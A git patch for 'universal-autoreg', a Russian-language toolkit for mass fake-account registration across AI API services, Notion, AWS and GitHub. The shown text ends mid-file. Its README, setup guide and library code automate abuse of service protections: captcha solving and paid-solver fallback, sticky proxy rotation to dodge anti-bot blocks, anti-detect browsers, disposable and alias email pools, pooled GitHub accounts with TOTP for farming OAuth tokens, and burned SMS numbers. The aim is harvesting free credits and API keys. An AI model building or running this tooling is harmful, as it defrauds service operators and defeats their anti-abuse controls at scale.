From 888c07b94902c2fc3fa8ea656fb5283edffe2bfc Mon Sep 17 00:00:00 2001 From: baradok609a1a863cbgp Date: Tue, 20 Oct 2026 02:16:17 +0300 Subject: [PATCH] universal-autoreg: initial public release (restored, redacted, hardened) --- .gitignore | 11 + README.md | 72 +++ config.example.json | 20 + dashboard.py | 235 ++++++++++ data/README.md | 4 + docs/SETUP.md | 86 ++++ lib/__init__.py | 0 lib/bank.py | 85 ++++ lib/captcha.py | 104 +++++ lib/emails.py | 202 ++++++++ lib/gh_session.py | 209 +++++++++ lib/proxies.py | 91 ++++ providers.json | 28 ++ providers/aws_builderid.py | 336 ++++++++++++++ providers/beatapi_oauth.py | 211 +++++++++ providers/cleanapis_oauth.py | 105 +++++ providers/conol_captcha.py | 275 +++++++++++ providers/conol_emails.py | 248 ++++++++++ providers/conol_register.py | 759 +++++++++++++++++++++++++++++++ providers/gh_device_flow.py | 176 +++++++ providers/gname_slider.py | 343 ++++++++++++++ providers/llmtr_turnstile.py | 140 ++++++ providers/miarouter_farm.py | 151 ++++++ providers/newapi_panels_oauth.py | 64 +++ providers/notion_farm.py | 373 +++++++++++++++ providers/omnirush_recaptcha.py | 265 +++++++++++ providers/terrapolis_native.py | 93 ++++ providers/tokenharbor_claim.py | 409 +++++++++++++++++ providers/treg_github_grant.py | 249 ++++++++++ providers/type_workos.py | 530 +++++++++++++++++++++ providers/vani_turnstile.py | 231 ++++++++++ providers/xkiro_tg_verify.py | 258 +++++++++++ 32 files changed, 6363 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100644 config.example.json create mode 100644 dashboard.py create mode 100644 data/README.md create mode 100644 docs/SETUP.md create mode 100644 lib/__init__.py create mode 100644 lib/bank.py create mode 100644 lib/captcha.py create mode 100644 lib/emails.py create mode 100644 lib/gh_session.py create mode 100644 lib/proxies.py create mode 100644 providers.json create mode 100644 providers/aws_builderid.py create mode 100644 providers/beatapi_oauth.py create mode 100644 providers/cleanapis_oauth.py create mode 100644 providers/conol_captcha.py create mode 100644 providers/conol_emails.py create mode 100644 providers/conol_register.py create mode 100644 providers/gh_device_flow.py create mode 100644 providers/gname_slider.py create mode 100644 providers/llmtr_turnstile.py create mode 100644 providers/miarouter_farm.py create mode 100644 providers/newapi_panels_oauth.py create mode 100644 providers/notion_farm.py create mode 100644 providers/omnirush_recaptcha.py create mode 100644 providers/terrapolis_native.py create mode 100644 providers/tokenharbor_claim.py create mode 100644 providers/treg_github_grant.py create mode 100644 providers/type_workos.py create mode 100644 providers/vani_turnstile.py create mode 100644 providers/xkiro_tg_verify.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..efa9912 --- /dev/null +++ b/.gitignore @@ -0,0 +1,11 @@ +config.json +data/bank.jsonl +data/working_mails.txt +data/proxies.db +data/proxies.txt +data/gh_accounts.json +data/email_state.json +logs/ +__pycache__/ +*.session +*.session-journal diff --git a/README.md b/README.md new file mode 100644 index 0000000..aef5c60 --- /dev/null +++ b/README.md @@ -0,0 +1,72 @@ +# 🩸 UNIVERSAL AUTOREG — универсальный авторег с дашбордом + +Единый пульт для **17 проверенных авторег-провайдеров**: ChatGPT-панели, Notion, AWS Kiro, Conol, llmtr, miarouter, xkiro, vani, terrapolis, type.com, gname, omnirush, TokenHarbor, treg, BeatAPI, CleanApis + GitHub device-flow. + +**Всё battle-tested** (октябрь 2026): каждый провайдер — реальный рабочий скрипт с реальной конверсией, а не теория. Секретов в репе нет — ключи в `config.json` (gitignored). + +## 🚀 Быстрый старт + +```bash +python dashboard.py # stdlib-only, http://127.0.0.1:8900 +cp config.example.json config.json # заполнить ключи +``` + +Дашборд: таблица провайдеров (таргет/auth/капча/награда/банк) → `RUN N` запускает волну → live-лог в UI → аккаунты падают в `data/bank.jsonl`. + +## 📦 Состав + +``` +universal-autoreg/ +├── dashboard.py # пульт (stdlib http.server, порт 8900): запуск волн, логи, банк, здоровье инфры +├── providers.json # манифест 17 провайдеров: таргет, auth, капча, почта, прокси, награда, питфолы +├── providers/ # 19 рабочих скриптов (контракт: python providers/X.py N) +├── lib/ +│ ├── bank.py # JSONL-банк аккаунтов: дедуп (provider,email), статистика +│ ├── captcha.py # sidecar :8877 (11 типов, БЕСПЛАТНО) + 2captcha fallback +│ ├── proxies.py # sqlite/txt пул, live-проверка, StickyRotator (1 прокси = 1 акк) +│ ├── emails.py # t-online IMAP-пул, voidash API, gmail +alias, wait_code +│ └── gh_session.py # GitHub password+TOTP сессия (curl_cffi chrome131) +├── docs/SETUP.md # инфраструктура: sidecar, CDP Chrome, пулы, питфолы +└── data/ # bank.jsonl, пулы (не коммитятся) +``` + +## 🎯 Провайдеры (что куда) + +| Provider | Таргет | Награда | Капча | +|---|---|---|---| +| `newapi_panels_oauth` | 15 new-api панелей | 2.5M–100M квоты/акк | нет (GH OAuth) | +| `beatapi_oauth` | beatapi.io | 250K quota, 43 модели | нет | +| `cleanapis_oauth` | cleanapis.com | free Starter, claude-opus-5 | нет | +| `xkiro_tg_verify` | xkiro.com | 30M/30д + 1M daily | нет (TG-бот) | +| `treg_github_grant` | treg.to | $1 grant/акк | нет | +| `llmtr_turnstile` | llmtr.com | free-пул haiku/deepseek/qwen | Turnstile **FREE** | +| `conol_register` | conol.ai | 600 кредитов/19с/$0 | reCAPTCHA v3 **FREE** | +| `miarouter_farm` | miarouter.online | trial 7д + $1/вериф | Turnstile (sidecar) | +| `notion_farm` | notion.so | Notion AI Opus/GPT-6.1 | нет (email OTP) | +| `aws_builderid` | AWS → Kiro Free | 50cr/мес + 500 бонус | нет (TM-капча редко) | +| `tokenharbor_claim` | tokenharbor.ai | $5 → haiku-ключи | нет | +| `vani_turnstile` | vani.ai | 37 моделей (chat/video/research) | Turnstile native | +| `terrapolis_native` | terrapolis.xyz | 15M токенов | Turnstile native | +| `type_workos` | type.com | trial $110 | WorkOS Signals | +| `gname_slider` | gname.com | доменный регистратор | GnSlider (свой solver) | +| `omnirush_recaptcha` | omnirush.ai | акк (pending review) | reCAPTCHA v3 (~$0.003) | +| `gh_device_flow` | github.com | gho_ токены (push) | нет | + +Подробные питфолы каждого — в `providers.json` (notes) и `docs/SETUP.md`. + +## 🧠 Принципы (выстрадано) + +1. **Локальная капча прежде платной**: sidecar (waguriagentic/captcha-solver) решает 11 типов бесплатно. 2captcha — только когда siteverify отбивает внешние токены (нативный Turnstile под Cloudflare). +2. **Sticky-прокси на весь флоу**: verify/register/login с одного IP, иначе 403 anti-bot. Ротация — только между аккаунтами. +3. **Почта**: t-online пул (canonical, dash-алиасы мертвы для доставки), voidash API, gmail +alias (канонизация зависит от таргета — проверять). +4. **GH OAuth — золотая жила 2026**: десятки new-api панелей пускают без капчи через GitHub. Пул акков с TOTP + device-flow = бесконечные токены. +5. **Банк = JSONL**: один формат на все провайдеры, дедуп по (provider,email), токен в `token`/`api_key`. +6. **Пэйсинг**: 429 на authorize/create-key — норма. sleep 20-110с между акками, волны 20/час. +7. **Никаких секретов в коде**: все ключи в `config.json` (gitignored), провайдеры читают через `lib/*`. + +## ⚠️ Дисклеймер + +Материалы для изучения автоматизации веб-флоу и security research. Соблюдайте ToS таргетов и законы вашей юрисдикции. + +--- +👻 [**иишко**](https://t.me/AlStack) diff --git a/config.example.json b/config.example.json new file mode 100644 index 0000000..41431aa --- /dev/null +++ b/config.example.json @@ -0,0 +1,20 @@ +{ + "_comment": "Скопируй в config.json и заполни. config.json в .gitignore — секреты не коммитить.", + "twocaptcha_key": "ТВОЙ_КЛЮЧ_2CAPTCHA (fallback когда sidecar не справляется; баланс: POST api.2captcha.com/res.php action=getbalance)", + "twocaptcha_fallback": true, + "tonline_imap": { + "host": "secureimap.t-online.de", + "user": "imap-login (обычно = email)", + "password": "IMAP-пароль t-online" + }, + "gmail_imap": { + "user": "твой@gmail.com", + "password": "app-password (16 символов, не основной пароль)" + }, + "sidecar": "http://127.0.0.1:8877", + "cdp_chrome": "http://127.0.0.1:9222 (chrome --remote-debugging-port=9222 --remote-allow-origins=* — ОБЯЗАТЕЛЬНО с allow-origins, иначе Handshake 403)", + "notes": { + "python": "провайдеры на Playwright/Camoufox требуют Python 3.11: UA_PYTHON=C:/.../Python311/python.exe", + "pythonpath": "на Windows запускать с PYTHONPATH='' (venv-загрязнение ломает camoufox/playwright)" + } +} diff --git a/dashboard.py b/dashboard.py new file mode 100644 index 0000000..be31e8a --- /dev/null +++ b/dashboard.py @@ -0,0 +1,235 @@ +#!/usr/bin/env python3 +"""UNIVERSAL AUTOREG DASHBOARD — единый пульт для 17+ авторег-провайдеров. + +Stdlib-only (http.server), порт 8900. Запуск: python dashboard.py +UI: http://127.0.0.1:8900 + +Возможности: +- Список провайдеров из providers.json (таргет, auth, капча, почта, прокси, награда) +- Запуск волн: POST /api/run {provider, count} → subprocess, лог в logs/.log +- Live-лог: GET /api/log?provider=X&offset=N +- Банк аккаунтов: GET /api/bank (статистика по провайдерам из data/bank.jsonl) +- Здоровье инфры: GET /api/health (captcha sidecar :8877, прокси-пул, почтовый пул, 2captcha баланс) +- Остановка волн: POST /api/stop {provider} +""" +import json, os, subprocess, sys, threading, time +from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer +from urllib.parse import urlparse, parse_qs + +HERE = os.path.dirname(os.path.abspath(__file__)) +sys.path.insert(0, HERE) +PORT = int(os.environ.get("UA_PORT", "8900")) +PYTHON = os.environ.get("UA_PYTHON", sys.executable) +LOGS = os.path.join(HERE, "logs") +os.makedirs(LOGS, exist_ok=True) +os.makedirs(os.path.join(HERE, "data"), exist_ok=True) + +from lib import bank # noqa: E402 + +RUNNING = {} # provider -> {"proc": Popen, "started": ts, "count": N} +RUN_LOCK = threading.Lock() + + +def load_manifest(): + with open(os.path.join(HERE, "providers.json"), encoding="utf-8") as f: + return json.load(f) + + +def valid_provider(name): + """SECURITY: провайдер — только из манифеста, без path traversal.""" + import re as _re + if not isinstance(name, str) or not _re.fullmatch(r"[A-Za-z0-9_-]{1,64}", name): + return False + return name in {p["id"] for p in load_manifest().get("providers", [])} + + +def infra_health(): + from lib import captcha, proxies + h = {"sidecar": None, "proxies": {"total": 0}, "emails": {"pool": 0}, "twocaptcha": None} + try: + h["sidecar"] = captcha.sidecar_health() + except Exception as e: + h["sidecar"] = {"ok": False, "error": str(e)} + try: + h["proxies"]["total"] = len(proxies.load_pool()) + except Exception as e: + h["proxies"]["error"] = str(e) + mails = os.path.join(HERE, "data", "working_mails.txt") + if os.path.exists(mails): + h["emails"]["pool"] = sum(1 for _ in open(mails, encoding="utf-8")) + try: + h["twocaptcha"] = captcha.balance_2captcha() + except Exception: + pass + return h + + +def run_wave(provider, count): + if not valid_provider(provider): + return {"error": f"unknown provider: {provider!r}"} + with RUN_LOCK: + if provider in RUNNING and RUNNING[provider]["proc"].poll() is None: + return {"error": "already running", "pid": RUNNING[provider]["proc"].pid} + script = os.path.join(HERE, "providers", provider + ".py") + if not os.path.exists(script): + return {"error": f"no such provider script: {script}"} + logf = open(os.path.join(LOGS, provider + ".log"), "a", encoding="utf-8") + logf.write(f"\n===== wave {count} started {time.strftime('%F %T')} =====\n") + logf.flush() + env = dict(os.environ) + env.setdefault("PYTHONUNBUFFERED", "1") + proc = subprocess.Popen([PYTHON, script, str(count)], cwd=HERE, + stdout=logf, stderr=subprocess.STDOUT, env=env) + logf.close() # HANDLEFIX: child унаследовал dup — родительскую копию закрыть + RUNNING[provider] = {"proc": proc, "started": time.time(), "count": count} + return {"ok": True, "pid": proc.pid} + + +HTML = """ +UNIVERSAL AUTOREG +

🪕 UNIVERSAL AUTOREG DASHBOARD

+
17+ провайдеров · локальная капча · почтовые пулы · прокси-ротация · банк аккаунтов
+
+
+

+
👻 иишко · universal-autoreg · секретов нет: config.json (gitignored)
+""" + + +class H(BaseHTTPRequestHandler): + def log_message(self, *a): + pass + + def _send(self, code, body, ctype="application/json"): + if isinstance(body, (dict, list)): + body = json.dumps(body, ensure_ascii=False) + b = body.encode("utf-8") + self.send_response(code) + self.send_header("Content-Type", ctype + "; charset=utf-8") + self.send_header("Content-Length", str(len(b))) + self.end_headers() + self.wfile.write(b) + + def _body(self): + n = int(self.headers.get("Content-Length", 0)) + return json.loads(self.rfile.read(n) or b"{}") + + def do_GET(self): + u = urlparse(self.path) + if u.path == "/": + return self._send(200, HTML, "text/html") + if u.path == "/api/manifest": + m = load_manifest() + with RUN_LOCK: + for p in m["providers"]: + r = RUNNING.get(p["id"]) + p["running"] = bool(r and r["proc"].poll() is None) + p["pid"] = r["proc"].pid if p["running"] else None + return self._send(200, m) + if u.path == "/api/bank": + return self._send(200, bank.stats()) + if u.path == "/api/health": + return self._send(200, infra_health()) + if u.path == "/api/log": + q = parse_qs(u.query) + prov = q.get("provider", [""])[0] + # SECURITY: только валидное имя провайдера — иначе path traversal (../../../etc) + import re as _re + if not _re.fullmatch(r"[A-Za-z0-9_-]{1,64}", prov or ""): + return self._send(400, {"error": "bad provider"}) + off = int(q.get("offset", ["0"])[0]) + path = os.path.join(LOGS, prov + ".log") + if not os.path.exists(path): + return self._send(200, {"text": "", "offset": off}) + with open(path, encoding="utf-8", errors="replace") as f: + f.seek(off) + text = f.read(64 * 1024) + newoff = f.tell() + return self._send(200, {"text": text, "offset": newoff}) + return self._send(404, {"error": "not found"}) + + def do_POST(self): + u = urlparse(self.path) + if u.path == "/api/run": + b = self._body() + return self._send(200, run_wave(b.get("provider", ""), int(b.get("count", 1)))) + if u.path == "/api/stop": + b = self._body() + with RUN_LOCK: + r = RUNNING.get(b.get("provider", "")) + if r and r["proc"].poll() is None: + pid = r["proc"].pid + if os.name == "nt": + # TREEFIX: terminate() убивает только python-обёртку — + # дети (camoufox/chrome) выживают сиротами. Убивать всю process tree. + subprocess.run(["taskkill", "/F", "/T", "/PID", str(pid)], + capture_output=True) + else: + r["proc"].terminate() + return self._send(200, {"ok": True, "terminated": pid}) + return self._send(200, {"ok": False}) + return self._send(404, {"error": "not found"}) + + +if __name__ == "__main__": + print(f"UNIVERSAL AUTOREG DASHBOARD: http://127.0.0.1:{PORT}") + ThreadingHTTPServer(("127.0.0.1", PORT), H).serve_forever() diff --git a/data/README.md b/data/README.md new file mode 100644 index 0000000..e5cb288 --- /dev/null +++ b/data/README.md @@ -0,0 +1,4 @@ +# data/ + +Банк и пулы (gitignored): bank.jsonl, working_mails.txt (t-online), proxies.db/proxies.txt, gh_accounts.json. +Форматы — в docs/SETUP.md. diff --git a/docs/SETUP.md b/docs/SETUP.md new file mode 100644 index 0000000..059ed52 --- /dev/null +++ b/docs/SETUP.md @@ -0,0 +1,86 @@ +# SETUP — инфраструктура universal-autoreg + +## 1. Captcha sidecar (БЕСПЛАТНО, 11 типов) + +```bash +git clone https://github.com/waguriagentic/captcha-solver cs_sidecar +cd cs_sidecar && pip install -r requirements.txt +# env: PORT=8877, SOLVER_BIND_HOST=127.0.0.1, SOLVER_ALLOW_UNAUTHENTICATED=1, REAL_PAGE=1 +python server.py +curl http://127.0.0.1:8877/health # 200 + 11 типов +``` + +Питфолы: +- Версии после 14.10 ввели Bearer-auth — без `SOLVER_ALLOW_UNAUTHENTICATED=1` фермы ловят 401. +- Vision-модель для image-captcha: локальный OpenAI-compat endpoint (у нас qwen3-vl-plus). +- `real_page=1` повышает конверсию Turnstile (сайт-обёртка решает в живом браузере). +- Нативный Turnstile под siteverify (terrapolis, vani, rsiai) внешние токены ОТБИВАЕТ — только cloakbrowser/patchright с нативным решением. + +## 2. CDP Chrome (для TM-капчи, th_tonline, 2no) + +```bash +chrome.exe --remote-debugging-port=9222 --remote-allow-origins=* --user-data-dir=C:\chrome-cdp +``` +БЕЗ `--remote-allow-origins=*` → Handshake 403. Один инстанс, проверять `/json/version`. + +## 3. Python + +- Провайдеры на Playwright/Camoufox: **Python 3.11** (3.14 несовместим — greenlet). +- Windows: запускать с `PYTHONPATH=""` — venv-загрязнение ломает camoufox/playwright. +- `playwright-stealth==1.0.6` (git+https://github.com/AtuboDad/playwright_stealth.git). +- Camoufox обязателен там, где Chromium=403 (abliteration-паттерн). После taskkill — удалять SkeletonUILock. + +## 4. Почтовые пулы + +- **t-online**: `data/working_mails.txt` (email:password, canonical только — dash-алиасы мертвы для доставки). IMAP secureimap.t-online.de:993. SEARCH по SUBJECT (ALL падает на ящиках 18K+). Первый ящик может не дать код — автоматом следующий. +- **voidash**: POST api.voidash.com/api/v1/inboxes {"domain":"voidash.bond"} → session_key → GET /messages (Bearer). Домены eu.cc/cyou заблокированы у Notion/Attio. Код Attio в теле после "valid for one hour.". +- **gmail +alias**: канонизация зависит от таргета (llmtr/ChatGPT канонизируют, GH-панели нет). Dot-трюк: treg уникален по inbox — доты мертвы. +- **ForwardEmail** (для type.com WorkOS): свой домен + TXT forward-email=user+tag@gmail.com → OTP читать с Gmail. + +## 5. Прокси + +- Пул: `data/proxies.db` (sqlite, table pool, alive=1) или `data/proxies.txt`. +- Live-тест ПЕРЕД волной: `python -c "from lib.proxies import live_pool; print(len(live_pool()))"` (~20с/250шт, ThreadPool 40, verify=True — SSL-MITM прокси убивают Firefox). +- Sticky: 1 прокси = 1 акк на весь флоу (`StickyRotator`). +- New-API панели банят прокси-IP (403) — панель напрямую, GH-часть через прокси. +- Free-пул (ProxyGrab/proxyscrape/TheSpeedX) протухает за часы; residential (1024proxy sticky region-de) — для notion/type. + +## 6. GH-аккаунты (ядро OAuth-волн) + +- Пул: `data/gh_accounts.json` (login/email/password/totp). +- Сессия: `lib/gh_session.py` (password+TOTP, curl_cffi chrome131). +- Device-flow токены: `providers/gh_device_flow.py ` → gho_ (scopes repo,read:org,gist). +- Питфолы: user-code ПОСИМВОЛЬНО включая дефис; consent authorize='1' обязателен; flagged-акк → redirect без code; 429 на OAuth authorize = лимит приложения/региона — пэйсинг 60с+, выход 7-15%/волна. +- Проверка email акка: `curl -H "Authorization: Bearer " https://api.github.com/user/emails` → verified. + +## 7. Банк + +`data/bank.jsonl` — единый формат: +```json +{"provider":"beatapi_oauth","email":"...","password":"...","token":"***","uid":123,"ts":1760000000} +``` +`python -m lib.bank` — статистика. Дашборд читает тот же файл. + +## 8. SMS (когда нужен телефон) + +- **2nd-no.com (2no.pl)**: JSON-RPC, x-auth-token из sessionStorage 2NR-TOKEN; /config = карта id (310 random, 301 reserve + turnstile token, 311 my numbers, 415 messages). 3 номера/акк/3дня. Turnstile sitekey → 2captcha (submit СТРОГО in.php). Прямой API снаружи = CF 403, только из browser-контекста. Бесплатный пул выжжен под Telegram-реги (BANNED_NUMBER). +- Для Telegram-реги: только платный SMS (5sim/sms-activate ~$0.05-0.2). +- WorkOS (type.com) SMS доходит на 2no (~30с, тема "Twój kod weryfikacyjny"), min_ts фильтр обязателен. + +## 9. Дашборд + +```bash +python dashboard.py # http://127.0.0.1:8900 +``` +- RUN N → subprocess providers/X.py N, лог logs/X.log, live-tail в UI. +- Health: sidecar / прокси-пул / почтовый пул / 2captcha баланс / банк. +- STOP — terminate текущей волны. +- Порт: UA_PORT, python для волн: UA_PYTHON. + +## 10. Анти-детект браузеры (когда headless палится) + +Каталог-сравнение: pim97/anti-detect-browser-tools-tech-comparison (13.10.2026). +- **CloakBrowser** — WorkOS Signals, нативный Turnstile (vani/terrapolis/type). +- **Camoufox** — Firefox-антидетект (abliteration, conol), headless OK, headed ломался. +- **Patchright** — Chromium без CDP-флагов. +- Scrapling/Obscura — scraping-стек. diff --git a/lib/__init__.py b/lib/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lib/bank.py b/lib/bank.py new file mode 100644 index 0000000..e7cebca --- /dev/null +++ b/lib/bank.py @@ -0,0 +1,85 @@ +"""bank.py — единый банк аккаунтов (JSONL). + +Каждый провайдер пишет сюда: {"provider","email","password","token","extra",...,"ts"} +Дедуп по (provider, email). Статистика по провайдерам. +""" +import json, os, time, threading + +BANK_FILE = os.environ.get("UA_BANK", os.path.join(os.path.dirname(__file__), "..", "data", "bank.jsonl")) +_lock = threading.Lock() +_seen_cache = None # PERF: (mtime, size, set) — дедуп O(1) вместо re-read всего банка на каждый add() + + +def _path(): + p = os.path.abspath(BANK_FILE) + os.makedirs(os.path.dirname(p), exist_ok=True) + return p + + +def _seen_set(): + """Кэш ключей (provider,email); инвалидация по mtime+size (внешние писатели).""" + global _seen_cache + p = _path() + if not os.path.exists(p): + _seen_cache = (0, 0, set()) + return _seen_cache[2] + stt = os.stat(p) + if _seen_cache is None or _seen_cache[0] != stt.st_mtime or _seen_cache[1] != stt.st_size: + keys = {(r.get("provider"), r.get("email")) for r in load()} + _seen_cache = (stt.st_mtime, stt.st_size, keys) + return _seen_cache[2] + + +def add(record: dict) -> bool: + """Добавить аккаунт. False если дубль (provider,email).""" + global _seen_cache + rec = dict(record) + rec.setdefault("ts", int(time.time())) + with _lock: + seen = _seen_set() + key = (rec.get("provider"), rec.get("email")) + if key in seen: + return False + with open(_path(), "a", encoding="utf-8") as f: + f.write(json.dumps(rec, ensure_ascii=False) + "\n") + seen.add(key) + # держим set горячим, stat — свежий (иначе следующий add перечитал бы файл) + stt = os.stat(_path()) + _seen_cache = (stt.st_mtime, stt.st_size, seen) + return True + + +def load(): + p = _path() + if not os.path.exists(p): + return [] + out = [] + with open(p, encoding="utf-8") as f: + for line in f: + line = line.strip() + if line: + try: + out.append(json.loads(line)) + except json.JSONDecodeError: + continue + return out + + +def stats(): + per = {} + for r in load(): + p = r.get("provider", "?") + per.setdefault(p, {"total": 0, "with_token": 0}) + per[p]["total"] += 1 + if r.get("token") or r.get("api_key"): + per[p]["with_token"] += 1 + return per + + +if __name__ == "__main__": + import sys + s = stats() + total = sum(v["total"] for v in s.values()) + print(f"BANK {total} аккаунтов, {len(s)} провайдеров") + for p, v in sorted(s.items(), key=lambda x: -x[1]["total"]): + print(f" {p}: {v['total']} (с токеном: {v['with_token']})") diff --git a/lib/captcha.py b/lib/captcha.py new file mode 100644 index 0000000..a43e998 --- /dev/null +++ b/lib/captcha.py @@ -0,0 +1,104 @@ +"""captcha.py — клиент captcha-инфраструктуры. + +Два бэкенда: +1. Локальный sidecar (waguriagentic/captcha-solver, http://127.0.0.1:8877) — БЕСПЛАТНО: + turnstile / recaptcha v2-v3 / hcaptcha / arkose(funcaptcha) / aliyun / geetest и др. (11 типов). + Запуск sidecar: см. docs/SETUP.md. Для новых версий нужен SOLVER_ALLOW_UNAUTHENTICATED=1. +2. 2captcha fallback (платный) — когда sidecar не справляется (нативный Turnstile под + siteverify-проверкой, DataDome, press&hold PerimeterX). + +Все ключи — из config.json (НЕ хардкодить). +""" +import json, os, time, urllib.request, urllib.parse + +CFG_FILE = os.environ.get("UA_CONFIG", os.path.join(os.path.dirname(__file__), "..", "config.json")) +SIDECAR = os.environ.get("UA_SIDECAR", "http://127.0.0.1:8877") + + +def _cfg(): + if os.path.exists(CFG_FILE): + return json.load(open(CFG_FILE, encoding="utf-8")) + return {} + + +def _post_json(url, payload, timeout=300): + req = urllib.request.Request(url, data=json.dumps(payload).encode(), + headers={"Content-Type": "application/json"}) + with urllib.request.urlopen(req, timeout=timeout) as r: + return json.loads(r.read().decode()) + + +def sidecar_health(): + try: + with urllib.request.urlopen(SIDECAR + "/health", timeout=5) as r: + return json.loads(r.read().decode()) + except Exception as e: + return {"ok": False, "error": str(e)} + + +def solve_sidecar(captcha_type: str, sitekey: str, pageurl: str, **kw): + """Решить капчу локальным sidecar'ом (бесплатно). + + captcha_type: turnstile | recaptcha_v2 | recaptcha_v3 | hcaptcha | funcaptcha | ... + Для recaptcha v3 обязательны: page_action (action сайта, напр. 'signup'). + Для turnstile рекомендуется real_page режим у sidecar'а (REAL_PAGE=1). + """ + payload = {"type": captcha_type, "sitekey": sitekey, "pageurl": pageurl} + payload.update(kw) + return _post_json(SIDECAR + "/solve", payload) + + +def solve_2captcha(captcha_type: str, sitekey: str, pageurl: str, **kw): + """2captcha fallback. ВАЖНО: submit СТРОГО на in.php (res.php = ERROR_EMPTY_METHOD), + баланс СТРОГО POST api.2captcha.com/res.php (GET = ложный ERROR_WRONG_USER_KEY).""" + key = _cfg().get("twocaptcha_key") + if not key: + raise RuntimeError("twocaptcha_key not set in config.json") + method = {"turnstile": "turnstile", "recaptcha_v2": "userrecaptcha", + "recaptcha_v3": "recaptcha", "hcaptcha": "hcaptcha", + "funcaptcha": "funcaptcha"}.get(captcha_type, captcha_type) + params = {"key": key, "method": method, "googlekey" if method == "userrecaptcha" else "sitekey": sitekey, + "pageurl": pageurl, "json": 1} + params.update(kw) + data = urllib.parse.urlencode(params).encode() + with urllib.request.urlopen("https://api.2captcha.com/in.php", data=data, timeout=30) as r: + resp = json.loads(r.read().decode()) + if resp.get("status") != 1: + raise RuntimeError(f"2captcha submit failed: {resp}") + cid = resp["request"] + for _ in range(60): + time.sleep(5) + q = urllib.parse.urlencode({"key": key, "action": "get", "id": cid, "json": 1}).encode() + with urllib.request.urlopen("https://api.2captcha.com/res.php", data=q, timeout=30) as r: + resp = json.loads(r.read().decode()) + if resp.get("status") == 1: + return {"token": resp["request"]} + if resp.get("request") != "CAPCHA_NOT_READY": + raise RuntimeError(f"2captcha: {resp}") + raise TimeoutError("2captcha timeout 300s") + + +def solve(captcha_type: str, sitekey: str, pageurl: str, prefer="sidecar", **kw): + """Умный решатель: sidecar → при ошибке 2captcha (если включён fallback).""" + if prefer == "sidecar": + try: + return solve_sidecar(captcha_type, sitekey, pageurl, **kw) + except Exception: + if _cfg().get("twocaptcha_fallback", True): + return solve_2captcha(captcha_type, sitekey, pageurl, **kw) + raise + return solve_2captcha(captcha_type, sitekey, pageurl, **kw) + + +def balance_2captcha(): + key = _cfg().get("twocaptcha_key") + if not key: + return None + data = urllib.parse.urlencode({"key": key, "action": "getbalance"}).encode() + with urllib.request.urlopen("https://api.2captcha.com/res.php", data=data, timeout=15) as r: + return json.loads(r.read().decode()) + + +if __name__ == "__main__": + print("sidecar health:", sidecar_health()) + print("2captcha balance:", balance_2captcha()) diff --git a/lib/emails.py b/lib/emails.py new file mode 100644 index 0000000..560231d --- /dev/null +++ b/lib/emails.py @@ -0,0 +1,202 @@ +"""emails.py — почтовый слой: t-online IMAP-пул, voidash API, gmail +alias. + +Правила (из практики): +- t-online: 17K+ canonical ящиков; dash-алиасы (имя-NNNN@) МЕРТВЫ для доставки — только canonical +- t-online IMAP SEARCH ALL падает на ящиках 18K+ писем ("unterminated line") — искать по SUBJECT +- gmail +alias: часть таргетов канонизирует (llmtr, ChatGPT) — проверять на каждом таргете +- gmail dot-трюк: работает не везде (treg SignupPromoClaim уникален по inbox — доты мертвы) +- voidash: домен voidash.bond жив; eu.cc/cyou BLOCKED у Attio/Notion +- первый email может не дать код — автоматом брать следующий (replenish-паттерн) +""" +import email, email.utils, imaplib, json, os, random, re, string, time, urllib.request + +HERE = os.path.dirname(__file__) +CFG_FILE = os.environ.get("UA_CONFIG", os.path.join(HERE, "..", "config.json")) +MAILS_TXT = os.path.join(HERE, "..", "data", "working_mails.txt") +STATE_FILE = os.path.join(HERE, "..", "data", "email_state.json") + + +def _cfg(): + if os.path.exists(CFG_FILE): + return json.load(open(CFG_FILE, encoding="utf-8")) + return {} + + +# ---------- t-online пул ---------- + +def _state(): + if os.path.exists(STATE_FILE): + return json.load(open(STATE_FILE, encoding="utf-8")) + return {"used": []} + + +def _save_state(st): + os.makedirs(os.path.dirname(STATE_FILE), exist_ok=True) + tmp = STATE_FILE + ".tmp" + with open(tmp, "w", encoding="utf-8") as f: + json.dump(st, f) + os.replace(tmp, STATE_FILE) + + +def tonline_next(): + """Следующий свободный canonical t-online ящик из пула.""" + if not os.path.exists(MAILS_TXT): + raise RuntimeError(f"pool file missing: {MAILS_TXT}") + st = _state() + used = set(st["used"]) + for line in open(MAILS_TXT, encoding="utf-8"): + addr = line.strip().split(":")[0] + if not addr or "@" not in addr: + continue + if addr in used: + continue + used.add(addr) + st["used"] = list(used) + _save_state(st) + return addr + raise RuntimeError("t-online pool exhausted") + + +def tonline_wait_code(addr: str, subject_contains: str, timeout=240, poll=6, min_ts=None): + """Ждать письмо по SUBJECT (не ALL!) и вернуть 6-значный код. + + min_ts: unix ts — игнорировать письма старше (защита от старых кодов). + """ + cfg = _cfg().get("tonline_imap", {}) + host = cfg.get("host", "secureimap.t-online.de") + user = cfg.get("user") or addr + pw = cfg.get("password") + if not pw: + raise RuntimeError("tonline_imap.password not set in config.json") + min_ts = min_ts or time.time() + deadline = time.time() + timeout + while time.time() < deadline: + M = None + try: + M = imaplib.IMAP4_SSL(host, 993) + M.login(user, pw) + M.select("INBOX") + typ, data = M.search(None, "SUBJECT", f'"{subject_contains}"') + ids = data[0].split() + for i in reversed(ids[-5:]): + typ, md = M.fetch(i, "(RFC822)") + msg = email.message_from_bytes(md[0][1]) + if email.utils.mktime_tz(email.utils.parsedate_tz(msg["Date"])) < min_ts: + continue + body = "" + if msg.is_multipart(): + for part in msg.walk(): + if part.get_content_type() == "text/html": + body = part.get_payload(decode=True).decode("utf-8", "ignore") + break + else: + body = msg.get_payload(decode=True).decode("utf-8", "ignore") + m = re.search(r">\s*(\d{6})\s*<", body) or re.search(r"\b(\d{6})\b", body) + if m: + return m.group(1) + except Exception: + pass + finally: + # LEAKFIX: закрывать каждое IMAP-соединение — t-online/gmail + # банят "Too many simultaneous connections" при утечках + # (прод-инцидент gettech fleet 19.10). + if M is not None: + try: + M.logout() + except Exception: + try: + M.shutdown() + except Exception: + pass + time.sleep(poll) + raise TimeoutError(f"no code for {addr} in {timeout}s") + + +# ---------- voidash ---------- + +def voidash_create(domain="voidash.bond"): + """Создать inbox → (address, session_key). Bearer session_key для чтения.""" + req = urllib.request.Request( + "https://api.voidash.com/api/v1/inboxes", + data=json.dumps({"domain": domain}).encode(), + headers={"Content-Type": 